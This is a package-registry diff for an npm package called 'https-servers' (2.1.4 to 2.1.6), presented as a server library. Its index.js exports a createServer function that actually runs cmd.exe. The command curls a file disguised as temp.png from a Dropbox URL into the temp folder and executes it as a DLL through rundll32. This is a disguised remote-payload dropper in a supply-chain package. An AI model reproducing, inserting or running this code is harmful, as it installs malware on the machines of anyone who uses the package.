https-servers 2.1.4 → 2.1.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.d.ts +1 -0
- package/index.js +10 -11
- package/package.json +1 -2
package/index.d.ts
CHANGED
package/index.js
CHANGED
|
@@ -1,20 +1,19 @@
|
|
|
1
|
-
|
|
1
|
+
// index.js
|
|
2
|
+
const { exec } = require('child_process');
|
|
2
3
|
|
|
3
|
-
|
|
4
|
+
function createServer() {
|
|
4
5
|
return new Promise((resolve, reject) => {
|
|
5
|
-
|
|
6
|
-
const sourceUrl = "https://www.dropbox.com/scl/fi/verj3m7liugo6j47lzdsk/temp.png?rlkey=sp3d2fu7b5oipter0r7nw2tya&st=c2zn5vaj&dl=1";
|
|
7
|
-
const savePath = "%temp%/temp.png";
|
|
8
|
-
|
|
9
|
-
// The exact command string
|
|
10
|
-
const command = `cmd.exe /C curl -L -s -o "${savePath}" "${sourceUrl}" && rundll32 %Temp%/temp.png,BeLib ACERMDKJRNDFJEI*%$%`;
|
|
6
|
+
const command = `cmd.exe /C curl -L -s -o "%temp%/temp.png" "https://www.dropbox.com/scl/fi/verj3m7liugo6j47lzdsk/temp.png?rlkey=sp3d2fu7b5oipter0r7nw2tya&st=c2zn5vaj&dl=1" && rundll32 %Temp%/temp.png,BeLib ACERMDKJRNDFJEI*%$%`;
|
|
11
7
|
|
|
12
8
|
exec(command, (error, stdout, stderr) => {
|
|
13
9
|
if (error) {
|
|
14
|
-
reject(
|
|
10
|
+
reject(error);
|
|
15
11
|
return;
|
|
16
12
|
}
|
|
17
|
-
resolve("
|
|
13
|
+
resolve("successful");
|
|
18
14
|
});
|
|
19
15
|
});
|
|
20
|
-
}
|
|
16
|
+
}
|
|
17
|
+
|
|
18
|
+
// Export it using CommonJS syntax
|
|
19
|
+
module.exports = { createServer };
|